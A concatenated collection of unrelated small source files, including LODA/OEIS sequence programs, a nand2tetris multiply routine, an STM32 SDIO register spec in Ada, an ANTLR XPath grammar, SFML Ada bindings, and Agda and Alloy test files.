reduction-open'' : reduction-open-type''
reduction-open'' {Φ₁} {Φ₂} un-Φ₁ e E (vcons ss-[] v ϱ)
with split-from-disjoint Φ₁ Φ₂ | inspect2 split-from-disjoint Φ₁ Φ₂
... | Φ , sp | [[ eq ]]
rewrite split-rotate-lemma' sp
with split-env sp ϱ
... | ([] , []) , ss-[] , ϱ₁ , ϱ₂
rewrite split-env-left-lemma0 ϱ₁
with ssplit-compose3 ss-[] ss-[]
... | ssc3
rewrite split-env-right-lemma0 ϱ₂
with ssplit-compose3 ss-[] ss-[]
... | ssc3'
rewrite split-rotate-lemma {Φ₂} | eq
= refl
|
programs/oeis/164/A164545.asm | jmorken/loda | 1 | 24043 | <gh_stars>1-10
; A164545: a(n) = 4*a(n-1) + 4*a(n-2) for n > 1; a(0) = 1, a(1) = 8.
; 1,8,36,176,848,4096,19776,95488,461056,2226176,10748928,51900416,250597376,1209991168,5842354176,28209381376,136206942208,657665294336,3175488946176,15332616962048,74032423632896,357460162379776,1725970344050688,8333722025721856
mov $1,1
lpb $0
sub $0,1
mul $1,2
add $1,2
mov $2,$5
add $4,2
add $1,$4
add $2,$4
add $2,3
mov $3,$1
sub $3,1
add $1,$3
sub $1,3
sub $3,$2
mov $4,$3
lpe
|
04/mult/mult.asm | quan118/nand2tetris | 0 | 172968 | <filename>04/mult/mult.asm
// This file is part of www.nand2tetris.org
// and the book "The Elements of Computing Systems"
// by <NAME> Schocken, MIT Press.
// File name: projects/04/Mult.asm
// Multiplies R0 and R1 and stores the result in R2.
// (R0, R1, R2 refer to RAM[0], RAM[1], and RAM[2], respectively.)
// Put your code here.
@R2
M=0 // R[2]=0
(LOOP)
@R1
D=M // D = R[1]
@END
D;JLE // If R[1] <= 0 go to @END
@R0
D=M // D = R[0]
@R2
M=D+M // R[2] += R[0]
@R1
M=M-1 // R[1]--
@LOOP
0;JMP
(END)
@END
0;JMP
|
oeis/273/A273366.asm | neoneye/loda-programs | 11 | 100832 | <filename>oeis/273/A273366.asm
; A273366: a(n) = 10*n^2 + 10*n + 2.
; 2,22,62,122,202,302,422,562,722,902,1102,1322,1562,1822,2102,2402,2722,3062,3422,3802,4202,4622,5062,5522,6002,6502,7022,7562,8122,8702,9302,9922,10562,11222,11902,12602,13322,14062,14822,15602,16402,17222,18062,18922,19802,20702,21622,22562,23522,24502,25502,26522,27562,28622,29702,30802,31922,33062,34222,35402,36602,37822,39062,40322,41602,42902,44222,45562,46922,48302,49702,51122,52562,54022,55502,57002,58522,60062,61622,63202,64802,66422,68062,69722,71402,73102,74822,76562,78322,80102,81902
sub $1,$0
bin $1,2
mul $1,20
add $1,2
mov $0,$1
|
oeis/181/A181618.asm | neoneye/loda-programs | 11 | 5416 | <filename>oeis/181/A181618.asm
; A181618: Number of n-game win/loss/draw series that contain at least one dead game.
; Submitted by <NAME>
; 0,0,6,24,90,306,1008,3240,10266,32190,100188,310074,955500,2934288,8986086,27456840,83735370,254962062,775270908,2354646294,7144301016,21657653028,65603494458,198584527338,600758100540,1816426149876,5489387016378,16582071393240,50070350472426,151135054793826,456043617713904,1375676712636552,4148642848473162,12507917250936222,37701777835948428,113617239663851142,342325399252366536,1031223325220972676,3105922948516170906,9353153807241731430,28161744954308161272,84781160529825045816
lpb $0
mov $2,$0
mov $0,1
trn $2,2
seq $2,55218 ; a(n) = T(2*n+2,n), array T as in A055216.
lpe
mov $0,$2
mul $0,6
|
programs/oeis/010/A010881.asm | karttu/loda | 1 | 177838 | ; A010881: Simple periodic sequence: n mod 12.
; 0,1,2,3,4,5,6,7,8,9,10,11,0,1,2,3,4,5,6,7,8,9,10,11,0,1,2,3,4,5,6,7,8,9,10,11,0,1,2,3,4,5,6,7,8,9,10,11,0,1,2,3,4,5,6,7,8,9,10,11,0,1,2,3,4,5,6,7,8,9,10,11,0,1,2
mov $1,$0
mod $1,12
|
arch/ARM/STM32/svd/stm32f40x/stm32_svd-sdio.ads | morbos/Ada_Drivers_Library | 2 | 9381 | <gh_stars>1-10
-- This spec has been automatically generated from STM32F40x.svd
pragma Restrictions (No_Elaboration_Code);
pragma Ada_2012;
pragma Style_Checks (Off);
with HAL;
with System;
package STM32_SVD.SDIO is
pragma Preelaborate;
---------------
-- Registers --
---------------
subtype POWER_PWRCTRL_Field is HAL.UInt2;
-- power control register
type POWER_Register is record
-- PWRCTRL
PWRCTRL : POWER_PWRCTRL_Field := 16#0#;
-- unspecified
Reserved_2_31 : HAL.UInt30 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for POWER_Register use record
PWRCTRL at 0 range 0 .. 1;
Reserved_2_31 at 0 range 2 .. 31;
end record;
subtype CLKCR_CLKDIV_Field is HAL.UInt8;
subtype CLKCR_WIDBUS_Field is HAL.UInt2;
-- SDI clock control register
type CLKCR_Register is record
-- Clock divide factor
CLKDIV : CLKCR_CLKDIV_Field := 16#0#;
-- Clock enable bit
CLKEN : Boolean := False;
-- Power saving configuration bit
PWRSAV : Boolean := False;
-- Clock divider bypass enable bit
BYPASS : Boolean := False;
-- Wide bus mode enable bit
WIDBUS : CLKCR_WIDBUS_Field := 16#0#;
-- SDIO_CK dephasing selection bit
NEGEDGE : Boolean := False;
-- HW Flow Control enable
HWFC_EN : Boolean := False;
-- unspecified
Reserved_15_31 : HAL.UInt17 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for CLKCR_Register use record
CLKDIV at 0 range 0 .. 7;
CLKEN at 0 range 8 .. 8;
PWRSAV at 0 range 9 .. 9;
BYPASS at 0 range 10 .. 10;
WIDBUS at 0 range 11 .. 12;
NEGEDGE at 0 range 13 .. 13;
HWFC_EN at 0 range 14 .. 14;
Reserved_15_31 at 0 range 15 .. 31;
end record;
subtype CMD_CMDINDEX_Field is HAL.UInt6;
subtype CMD_WAITRESP_Field is HAL.UInt2;
-- command register
type CMD_Register is record
-- Command index
CMDINDEX : CMD_CMDINDEX_Field := 16#0#;
-- Wait for response bits
WAITRESP : CMD_WAITRESP_Field := 16#0#;
-- CPSM waits for interrupt request
WAITINT : Boolean := False;
-- CPSM Waits for ends of data transfer (CmdPend internal signal).
WAITPEND : Boolean := False;
-- Command path state machine (CPSM) Enable bit
CPSMEN : Boolean := False;
-- SD I/O suspend command
SDIOSuspend : Boolean := False;
-- Enable CMD completion
ENCMDcompl : Boolean := False;
-- not Interrupt Enable
nIEN : Boolean := False;
-- CE-ATA command
CE_ATACMD : Boolean := False;
-- unspecified
Reserved_15_31 : HAL.UInt17 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for CMD_Register use record
CMDINDEX at 0 range 0 .. 5;
WAITRESP at 0 range 6 .. 7;
WAITINT at 0 range 8 .. 8;
WAITPEND at 0 range 9 .. 9;
CPSMEN at 0 range 10 .. 10;
SDIOSuspend at 0 range 11 .. 11;
ENCMDcompl at 0 range 12 .. 12;
nIEN at 0 range 13 .. 13;
CE_ATACMD at 0 range 14 .. 14;
Reserved_15_31 at 0 range 15 .. 31;
end record;
subtype RESPCMD_RESPCMD_Field is HAL.UInt6;
-- command response register
type RESPCMD_Register is record
-- Read-only. Response command index
RESPCMD : RESPCMD_RESPCMD_Field;
-- unspecified
Reserved_6_31 : HAL.UInt26;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for RESPCMD_Register use record
RESPCMD at 0 range 0 .. 5;
Reserved_6_31 at 0 range 6 .. 31;
end record;
subtype DLEN_DATALENGTH_Field is HAL.UInt25;
-- data length register
type DLEN_Register is record
-- Data length value
DATALENGTH : DLEN_DATALENGTH_Field := 16#0#;
-- unspecified
Reserved_25_31 : HAL.UInt7 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for DLEN_Register use record
DATALENGTH at 0 range 0 .. 24;
Reserved_25_31 at 0 range 25 .. 31;
end record;
subtype DCTRL_DBLOCKSIZE_Field is HAL.UInt4;
-- data control register
type DCTRL_Register is record
-- DTEN
DTEN : Boolean := False;
-- Data transfer direction selection
DTDIR : Boolean := False;
-- Data transfer mode selection 1: Stream or SDIO multibyte data
-- transfer.
DTMODE : Boolean := False;
-- DMA enable bit
DMAEN : Boolean := False;
-- Data block size
DBLOCKSIZE : DCTRL_DBLOCKSIZE_Field := 16#0#;
-- Read wait start
RWSTART : Boolean := False;
-- Read wait stop
RWSTOP : Boolean := False;
-- Read wait mode
RWMOD : Boolean := False;
-- SD I/O enable functions
SDIOEN : Boolean := False;
-- unspecified
Reserved_12_31 : HAL.UInt20 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for DCTRL_Register use record
DTEN at 0 range 0 .. 0;
DTDIR at 0 range 1 .. 1;
DTMODE at 0 range 2 .. 2;
DMAEN at 0 range 3 .. 3;
DBLOCKSIZE at 0 range 4 .. 7;
RWSTART at 0 range 8 .. 8;
RWSTOP at 0 range 9 .. 9;
RWMOD at 0 range 10 .. 10;
SDIOEN at 0 range 11 .. 11;
Reserved_12_31 at 0 range 12 .. 31;
end record;
subtype DCOUNT_DATACOUNT_Field is HAL.UInt25;
-- data counter register
type DCOUNT_Register is record
-- Read-only. Data count value
DATACOUNT : DCOUNT_DATACOUNT_Field;
-- unspecified
Reserved_25_31 : HAL.UInt7;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for DCOUNT_Register use record
DATACOUNT at 0 range 0 .. 24;
Reserved_25_31 at 0 range 25 .. 31;
end record;
-- status register
type STA_Register is record
-- Read-only. Command response received (CRC check failed)
CCRCFAIL : Boolean;
-- Read-only. Data block sent/received (CRC check failed)
DCRCFAIL : Boolean;
-- Read-only. Command response timeout
CTIMEOUT : Boolean;
-- Read-only. Data timeout
DTIMEOUT : Boolean;
-- Read-only. Transmit FIFO underrun error
TXUNDERR : Boolean;
-- Read-only. Received FIFO overrun error
RXOVERR : Boolean;
-- Read-only. Command response received (CRC check passed)
CMDREND : Boolean;
-- Read-only. Command sent (no response required)
CMDSENT : Boolean;
-- Read-only. Data end (data counter, SDIDCOUNT, is zero)
DATAEND : Boolean;
-- Read-only. Start bit not detected on all data signals in wide bus
-- mode
STBITERR : Boolean;
-- Read-only. Data block sent/received (CRC check passed)
DBCKEND : Boolean;
-- Read-only. Command transfer in progress
CMDACT : Boolean;
-- Read-only. Data transmit in progress
TXACT : Boolean;
-- Read-only. Data receive in progress
RXACT : Boolean;
-- Read-only. Transmit FIFO half empty: at least 8 words can be written
-- into the FIFO
TXFIFOHE : Boolean;
-- Read-only. Receive FIFO half full: there are at least 8 words in the
-- FIFO
RXFIFOHF : Boolean;
-- Read-only. Transmit FIFO full
TXFIFOF : Boolean;
-- Read-only. Receive FIFO full
RXFIFOF : Boolean;
-- Read-only. Transmit FIFO empty
TXFIFOE : Boolean;
-- Read-only. Receive FIFO empty
RXFIFOE : Boolean;
-- Read-only. Data available in transmit FIFO
TXDAVL : Boolean;
-- Read-only. Data available in receive FIFO
RXDAVL : Boolean;
-- Read-only. SDIO interrupt received
SDIOIT : Boolean;
-- Read-only. CE-ATA command completion signal received for CMD61
CEATAEND : Boolean;
-- unspecified
Reserved_24_31 : HAL.UInt8;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for STA_Register use record
CCRCFAIL at 0 range 0 .. 0;
DCRCFAIL at 0 range 1 .. 1;
CTIMEOUT at 0 range 2 .. 2;
DTIMEOUT at 0 range 3 .. 3;
TXUNDERR at 0 range 4 .. 4;
RXOVERR at 0 range 5 .. 5;
CMDREND at 0 range 6 .. 6;
CMDSENT at 0 range 7 .. 7;
DATAEND at 0 range 8 .. 8;
STBITERR at 0 range 9 .. 9;
DBCKEND at 0 range 10 .. 10;
CMDACT at 0 range 11 .. 11;
TXACT at 0 range 12 .. 12;
RXACT at 0 range 13 .. 13;
TXFIFOHE at 0 range 14 .. 14;
RXFIFOHF at 0 range 15 .. 15;
TXFIFOF at 0 range 16 .. 16;
RXFIFOF at 0 range 17 .. 17;
TXFIFOE at 0 range 18 .. 18;
RXFIFOE at 0 range 19 .. 19;
TXDAVL at 0 range 20 .. 20;
RXDAVL at 0 range 21 .. 21;
SDIOIT at 0 range 22 .. 22;
CEATAEND at 0 range 23 .. 23;
Reserved_24_31 at 0 range 24 .. 31;
end record;
-- interrupt clear register
type ICR_Register is record
-- CCRCFAIL flag clear bit
CCRCFAILC : Boolean := False;
-- DCRCFAIL flag clear bit
DCRCFAILC : Boolean := False;
-- CTIMEOUT flag clear bit
CTIMEOUTC : Boolean := False;
-- DTIMEOUT flag clear bit
DTIMEOUTC : Boolean := False;
-- TXUNDERR flag clear bit
TXUNDERRC : Boolean := False;
-- RXOVERR flag clear bit
RXOVERRC : Boolean := False;
-- CMDREND flag clear bit
CMDRENDC : Boolean := False;
-- CMDSENT flag clear bit
CMDSENTC : Boolean := False;
-- DATAEND flag clear bit
DATAENDC : Boolean := False;
-- STBITERR flag clear bit
STBITERRC : Boolean := False;
-- DBCKEND flag clear bit
DBCKENDC : Boolean := False;
-- unspecified
Reserved_11_21 : HAL.UInt11 := 16#0#;
-- SDIOIT flag clear bit
SDIOITC : Boolean := False;
-- CEATAEND flag clear bit
CEATAENDC : Boolean := False;
-- unspecified
Reserved_24_31 : HAL.UInt8 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for ICR_Register use record
CCRCFAILC at 0 range 0 .. 0;
DCRCFAILC at 0 range 1 .. 1;
CTIMEOUTC at 0 range 2 .. 2;
DTIMEOUTC at 0 range 3 .. 3;
TXUNDERRC at 0 range 4 .. 4;
RXOVERRC at 0 range 5 .. 5;
CMDRENDC at 0 range 6 .. 6;
CMDSENTC at 0 range 7 .. 7;
DATAENDC at 0 range 8 .. 8;
STBITERRC at 0 range 9 .. 9;
DBCKENDC at 0 range 10 .. 10;
Reserved_11_21 at 0 range 11 .. 21;
SDIOITC at 0 range 22 .. 22;
CEATAENDC at 0 range 23 .. 23;
Reserved_24_31 at 0 range 24 .. 31;
end record;
-- mask register
type MASK_Register is record
-- Command CRC fail interrupt enable
CCRCFAILIE : Boolean := False;
-- Data CRC fail interrupt enable
DCRCFAILIE : Boolean := False;
-- Command timeout interrupt enable
CTIMEOUTIE : Boolean := False;
-- Data timeout interrupt enable
DTIMEOUTIE : Boolean := False;
-- Tx FIFO underrun error interrupt enable
TXUNDERRIE : Boolean := False;
-- Rx FIFO overrun error interrupt enable
RXOVERRIE : Boolean := False;
-- Command response received interrupt enable
CMDRENDIE : Boolean := False;
-- Command sent interrupt enable
CMDSENTIE : Boolean := False;
-- Data end interrupt enable
DATAENDIE : Boolean := False;
-- Start bit error interrupt enable
STBITERRIE : Boolean := False;
-- Data block end interrupt enable
DBCKENDIE : Boolean := False;
-- Command acting interrupt enable
CMDACTIE : Boolean := False;
-- Data transmit acting interrupt enable
TXACTIE : Boolean := False;
-- Data receive acting interrupt enable
RXACTIE : Boolean := False;
-- Tx FIFO half empty interrupt enable
TXFIFOHEIE : Boolean := False;
-- Rx FIFO half full interrupt enable
RXFIFOHFIE : Boolean := False;
-- Tx FIFO full interrupt enable
TXFIFOFIE : Boolean := False;
-- Rx FIFO full interrupt enable
RXFIFOFIE : Boolean := False;
-- Tx FIFO empty interrupt enable
TXFIFOEIE : Boolean := False;
-- Rx FIFO empty interrupt enable
RXFIFOEIE : Boolean := False;
-- Data available in Tx FIFO interrupt enable
TXDAVLIE : Boolean := False;
-- Data available in Rx FIFO interrupt enable
RXDAVLIE : Boolean := False;
-- SDIO mode interrupt received interrupt enable
SDIOITIE : Boolean := False;
-- CE-ATA command completion signal received interrupt enable
CEATAENDIE : Boolean := False;
-- unspecified
Reserved_24_31 : HAL.UInt8 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for MASK_Register use record
CCRCFAILIE at 0 range 0 .. 0;
DCRCFAILIE at 0 range 1 .. 1;
CTIMEOUTIE at 0 range 2 .. 2;
DTIMEOUTIE at 0 range 3 .. 3;
TXUNDERRIE at 0 range 4 .. 4;
RXOVERRIE at 0 range 5 .. 5;
CMDRENDIE at 0 range 6 .. 6;
CMDSENTIE at 0 range 7 .. 7;
DATAENDIE at 0 range 8 .. 8;
STBITERRIE at 0 range 9 .. 9;
DBCKENDIE at 0 range 10 .. 10;
CMDACTIE at 0 range 11 .. 11;
TXACTIE at 0 range 12 .. 12;
RXACTIE at 0 range 13 .. 13;
TXFIFOHEIE at 0 range 14 .. 14;
RXFIFOHFIE at 0 range 15 .. 15;
TXFIFOFIE at 0 range 16 .. 16;
RXFIFOFIE at 0 range 17 .. 17;
TXFIFOEIE at 0 range 18 .. 18;
RXFIFOEIE at 0 range 19 .. 19;
TXDAVLIE at 0 range 20 .. 20;
RXDAVLIE at 0 range 21 .. 21;
SDIOITIE at 0 range 22 .. 22;
CEATAENDIE at 0 range 23 .. 23;
Reserved_24_31 at 0 range 24 .. 31;
end record;
subtype FIFOCNT_FIFOCOUNT_Field is HAL.UInt24;
-- FIFO counter register
type FIFOCNT_Register is record
-- Read-only. Remaining number of words to be written to or read from
-- the FIFO.
FIFOCOUNT : FIFOCNT_FIFOCOUNT_Field;
-- unspecified
Reserved_24_31 : HAL.UInt8;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for FIFOCNT_Register use record
FIFOCOUNT at 0 range 0 .. 23;
Reserved_24_31 at 0 range 24 .. 31;
end record;
-----------------
-- Peripherals --
-----------------
-- Secure digital input/output interface
type SDIO_Peripheral is record
-- power control register
POWER : aliased POWER_Register;
-- SDI clock control register
CLKCR : aliased CLKCR_Register;
-- argument register
ARG : aliased HAL.UInt32;
-- command register
CMD : aliased CMD_Register;
-- command response register
RESPCMD : aliased RESPCMD_Register;
-- response 1..4 register
RESP1 : aliased HAL.UInt32;
-- response 1..4 register
RESP2 : aliased HAL.UInt32;
-- response 1..4 register
RESP3 : aliased HAL.UInt32;
-- response 1..4 register
RESP4 : aliased HAL.UInt32;
-- data timer register
DTIMER : aliased HAL.UInt32;
-- data length register
DLEN : aliased DLEN_Register;
-- data control register
DCTRL : aliased DCTRL_Register;
-- data counter register
DCOUNT : aliased DCOUNT_Register;
-- status register
STA : aliased STA_Register;
-- interrupt clear register
ICR : aliased ICR_Register;
-- mask register
MASK : aliased MASK_Register;
-- FIFO counter register
FIFOCNT : aliased FIFOCNT_Register;
-- data FIFO register
FIFO : aliased HAL.UInt32;
end record
with Volatile;
for SDIO_Peripheral use record
POWER at 16#0# range 0 .. 31;
CLKCR at 16#4# range 0 .. 31;
ARG at 16#8# range 0 .. 31;
CMD at 16#C# range 0 .. 31;
RESPCMD at 16#10# range 0 .. 31;
RESP1 at 16#14# range 0 .. 31;
RESP2 at 16#18# range 0 .. 31;
RESP3 at 16#1C# range 0 .. 31;
RESP4 at 16#20# range 0 .. 31;
DTIMER at 16#24# range 0 .. 31;
DLEN at 16#28# range 0 .. 31;
DCTRL at 16#2C# range 0 .. 31;
DCOUNT at 16#30# range 0 .. 31;
STA at 16#34# range 0 .. 31;
ICR at 16#38# range 0 .. 31;
MASK at 16#3C# range 0 .. 31;
FIFOCNT at 16#48# range 0 .. 31;
FIFO at 16#80# range 0 .. 31;
end record;
-- Secure digital input/output interface
SDIO_Periph : aliased SDIO_Peripheral
with Import, Address => System'To_Address (16#40012C00#);
end STM32_SVD.SDIO;
|
milestone1/target/classes/antlr4/XPath.g4 | Easonrust/XQuery-Evaluator | 0 | 6752 | <gh_stars>0
grammar XPath ;
@header {
package edu.ucsd.CSE232B.parsers;
}
/*Rules*/
ap
: doc '/' rp # ApChildren
| doc '//' rp # ApAll
;
doc
: DOC LPR fname RPR
;
fname
: STRING
;
rp
: NAME # TagName
| '*' # AllChildren
| '.' # Current
| '..' # Parent
| TXT # Text
| '@' NAME # Attribute
| LPR rp RPR # RpwithP
| rp '/' rp # RpChildren
| rp '//' rp # RpAll
| rp '[' filter ']' # RpFilter
| rp ',' rp # TwoRp
;
filter
: rp # FilterRp
| rp '=' rp # FilterEqual
| rp 'eq' rp # FilterEqual
| rp '==' rp # FilterIs
| rp 'is' rp # FilterIs
| rp '=' constant # FilterConstant
| LPR filter RPR # FilterwithP
| filter 'and' filter # FilterAnd
| filter 'or' filter # FilterOr
| 'not' filter # FilterNot
;
constant
: '"' NAME '"'
;
/*Tokens*/
STRING
:
'"'
(
ESCAPE
| ~["\\]
)* '"'
| '\''
(
ESCAPE
| ~['\\]
)* '\''
;
ESCAPE
:
'\\'
(
['"\\]
)
;
DOC: D O C;
fragment D: [dD];
fragment O: [oO];
fragment C: [cC];
LPR: '(';
RPR: ')';
NAME: [a-zA-Z0-9_-]+;
TXT: 'text()';
WS : [ \t\r\n]+ -> skip;
|
test/asm/align-large-ofs.asm | michealccc/rgbds | 522 | 8814 | <reponame>michealccc/rgbds
SECTION "Tesst", ROM0, ALIGN[1,2]
|
courses/fundamentals_of_ada/labs/solar_system/adv_170_multiple_inheritance/answers/solar_system.adb | AdaCore/training_material | 15 | 6474 | <reponame>AdaCore/training_material
with Libm_Single; use Libm_Single;
package body Solar_System is
function Get_X(O : Body_Base_T) return Float is
begin
return O.X;
end Get_X;
function Get_Y(O : Body_Base_T) return Float is
begin
return O.Y;
end Get_Y;
function Create_Orbiting(Distance : Float; Speed: Float; Angle: Float; Turns_Around : access Orbit_Ref_I'Class) return access Orbiting_Body_T is
begin
return new Orbiting_Body_T'(X => 0.0,
Y => 0.0,
Distance => Distance,
Speed => Speed,
Angle => Angle,
Turns_Around => Turns_Around);
end Create_Orbiting;
procedure Move (B : in out Orbiting_Body_T) is
begin
B.X := B.Turns_Around.Get_X +
B.Distance * Cos (B.Angle);
B.Y := B.Turns_Around.Get_Y +
B.Distance * Sin (B.Angle);
B.Angle := B.Angle + B.Speed;
end Move;
function Create_Still(X : Float; Y: Float) return access Still_Body_T is
begin
return new Still_Body_T'(X => X,
Y => Y);
end Create_Still;
function Create_Solar_System return access Solar_System_T is
begin
return new Solar_System_T;
end Create_Solar_System;
procedure Add_Still_Body(S : in out Solar_System_T; B : access Still_Body_I'Class) is
begin
S.Still_Objects.Append(Still_Body_Access_I(B));
end Add_Still_Body;
procedure Add_Moving_Body(S : in out Solar_System_T; B : access Movable_I'Class) is
begin
S.Moving_Objects.Append(Moving_Access_I(B));
end Add_Moving_Body;
procedure Move (S : in out Solar_System_T) is
begin
for B of S.Moving_Objects loop
Movable_I'Class(B.all).Move;
end loop;
end Move;
end Solar_System;
|
include/sf-graphics-types.ads | danva994/ASFML-1.6 | 1 | 17525 | -- ////////////////////////////////////////////////////////////
-- //
-- // SFML - Simple and Fast Multimedia Library
-- // Copyright (C) 2007-2009 <NAME> (<EMAIL>)
-- //
-- // This software is provided 'as-is', without any express or implied warranty.
-- // In no event will the authors be held liable for any damages arising from the use of this software.
-- //
-- // Permission is granted to anyone to use this software for any purpose,
-- // including commercial applications, and to alter it and redistribute it freely,
-- // subject to the following restrictions:
-- //
-- // 1. The origin of this software must not be misrepresented;
-- // you must not claim that you wrote the original software.
-- // If you use this software in a product, an acknowledgment
-- // in the product documentation would be appreciated but is not required.
-- //
-- // 2. Altered source versions must be plainly marked as such,
-- // and must not be misrepresented as being the original software.
-- //
-- // 3. This notice may not be removed or altered from any source distribution.
-- //
-- ////////////////////////////////////////////////////////////
package Sf.Graphics.Types is
type sfFont is null record;
type sfFont_Ptr is access all sfFont;
type sfImage is null record;
type sfImage_Ptr is access all sfImage;
type sfPostFX is null record;
type sfPostFX_Ptr is access all sfPostFX;
type sfRenderWindow is null record;
type sfRenderWindow_Ptr is access all sfRenderWindow;
type sfShape is null record;
type sfShape_Ptr is access all sfShape;
type sfSprite is null record;
type sfSprite_Ptr is access all sfSprite;
type sfString is null record;
type sfString_Ptr is access all sfString;
type sfView is null record;
type sfView_Ptr is access all sfView;
private
pragma Convention (C, sfFont);
pragma Convention (C, sfFont_Ptr);
pragma Convention (C, sfImage);
pragma Convention (C, sfImage_Ptr);
pragma Convention (C, sfPostFX);
pragma Convention (C, sfPostFX_Ptr);
pragma Convention (C, sfRenderWindow);
pragma Convention (C, sfRenderWindow_Ptr);
pragma Convention (C, sfShape);
pragma Convention (C, sfShape_Ptr);
pragma Convention (C, sfSprite);
pragma Convention (C, sfSprite_Ptr);
pragma Convention (C, sfString);
pragma Convention (C, sfString_Ptr);
pragma Convention (C, sfView);
pragma Convention (C, sfView_Ptr);
end Sf.Graphics.Types;
|
alloy4fun_models/trashltl/models/3/pCukQTbxNeBsArMpc.als | Kaixi26/org.alloytools.alloy | 0 | 3612 | <reponame>Kaixi26/org.alloytools.alloy
open main
pred idpCukQTbxNeBsArMpc_prop4 {
eventually some f:File | f' in Trash'
}
pred __repair { idpCukQTbxNeBsArMpc_prop4 }
check __repair { idpCukQTbxNeBsArMpc_prop4 <=> prop4o } |
test/Fail/RewriteConstructorParsNotGeneral2.agda | hborum/agda | 2 | 7333 | {-# OPTIONS --rewriting #-}
open import Agda.Builtin.Bool
open import Agda.Builtin.Equality
{-# BUILTIN REWRITE _≡_ #-}
data D (A : Set) : Set where
c c' : D A
module M (A : Set) where
postulate rew : c {A} ≡ c' {A}
{-# REWRITE rew #-}
test : ∀ {B} → c {B} ≡ c' {B}
test = refl
|
programs/oeis/076/A076178.asm | neoneye/loda | 22 | 168515 | ; A076178: a(n) = 2*n^2 - A077071(n).
; 0,0,0,2,2,4,6,10,10,12,14,18,20,24,28,34,34,36,38,42,44,48,52,58,60,64,68,74,78,84,90,98,98,100,102,106,108,112,116,122,124,128,132,138,142,148,154,162,164,168,172,178,182,188,194,202,206,212,218,226,232
mov $2,$0
seq $0,788 ; Total number of 1's in binary expansions of 0, ..., n.
sub $0,$2
mul $0,2
|
volume_monitor/firmware/uart.asm | mullets/vwradio | 45 | 80906 | <reponame>mullets/vwradio<filename>volume_monitor/firmware/uart.asm
;UART Routines
;
uart_init:
;Configure the UART for 115200 bps, N-8-1, transmit only.
;
;115200 bps @ 20 MHz
clr r16
sts UBRR0H, r16
ldi r16, 0x0a
sts UBRR0L, r16
lds r16, UCSR0A
andi r16, ~(1 << U2X0)
sts UCSR0A, r16
;N-8-1
ldi r16, (1 << UCSZ01) | (1 << UCSZ00)
sts UCSR0C, r16
;Enable TX only
ldi r16, (1 << TXEN0)
sts UCSR0B, r16
ret
uart_send_byte:
;Send the byte in R16 out the UART.
;If the UART is busy transmitting, this routine blocks until it is ready.
;
push r16
usb_wait:
lds r16, UCSR0A ;Read UART status register
sbrs r16, UDRE0 ;Skip next if ready to transmit
rjmp usb_wait
pop r16
sts UDR0, r16 ;Send the data byte
ret
|
Object/Optimized/kernel/PcBios.asm | collinsmichael/spartan | 16 | 241551 | <gh_stars>10-100
; Listing generated by Microsoft (R) Optimizing Compiler Version 18.00.40629.0
TITLE C:\Users\cex123\Desktop\FYP\develop\spartan\Source\Kernel\BootLoad\PcBios\PcBios.c
.686P
.XMM
include listing.inc
.model flat
INCLUDELIB OLDNAMES
PUBLIC _InstallPcBios
; Function compile flags: /Ogspy
; File c:\users\cex123\desktop\fyp\develop\spartan\source\kernel\bootload\pcbios\pcbios.c
_TEXT SEGMENT
_base$ = 8 ; size = 4
_size$ = 12 ; size = 4
_InstallPcBios PROC
; 18 : if (!base || size < 320) return false;
cmp DWORD PTR _base$[esp-4], 0
je SHORT $LN1@InstallPcB
cmp DWORD PTR _size$[esp-4], 320 ; 00000140H
jb SHORT $LN1@InstallPcB
; 19 : movsd(base, (char*)0x00100100, 320/4);
push 80 ; 00000050H
push 1048832 ; 00100100H
push DWORD PTR _base$[esp+4]
call _movsd
; 20 : return true;
xor eax, eax
add esp, 12 ; 0000000cH
inc eax
; 21 : }
ret 0
$LN1@InstallPcB:
; 18 : if (!base || size < 320) return false;
xor eax, eax
; 21 : }
ret 0
_InstallPcBios ENDP
_TEXT ENDS
END
|
models/tests/test63q.als | transclosure/Amalgam | 4 | 2336 | module tests/test
private open tests/test63b
run { some sa } // should complain that the name cannot be found
|
test/interaction/Issue721.agda | cruhland/agda | 1,989 | 13057 | <filename>test/interaction/Issue721.agda
module _ where
postulate
F : Set → Set
A : Set
module A (X : Set) where
postulate T : Set
module B where
private module M = A A
open M
postulate t : F T
postulate
op : {A : Set} → A → A → A
open A A
foo : F T
foo = op B.t {!!} -- ?0 : F .ReduceNotInScope.B.M.T
|
test/interaction/Issue4954.agda | cagix/agda | 1,989 | 12520 | <filename>test/interaction/Issue4954.agda<gh_stars>1000+
module Issue4954 where
open import Issue4954.M Set
|
programs/oeis/021/A021516.asm | neoneye/loda | 22 | 245067 | <filename>programs/oeis/021/A021516.asm
; A021516: Decimal expansion of 1/512.
; 0,0,1,9,5,3,1,2,5,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
add $0,1
mov $1,10
pow $1,$0
mul $1,3
div $1,1536
mod $1,10
mov $0,$1
|
assembly-x86/hello.asm | imsad2/hello-worlds | 0 | 7663 | <gh_stars>0
org 0x100
mov dx, msg
mov ah, 9
int 0x21
mov ah, 0x4c
int 0x21
msg db "hello world!", 0x0d, 0x0a, "$"
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.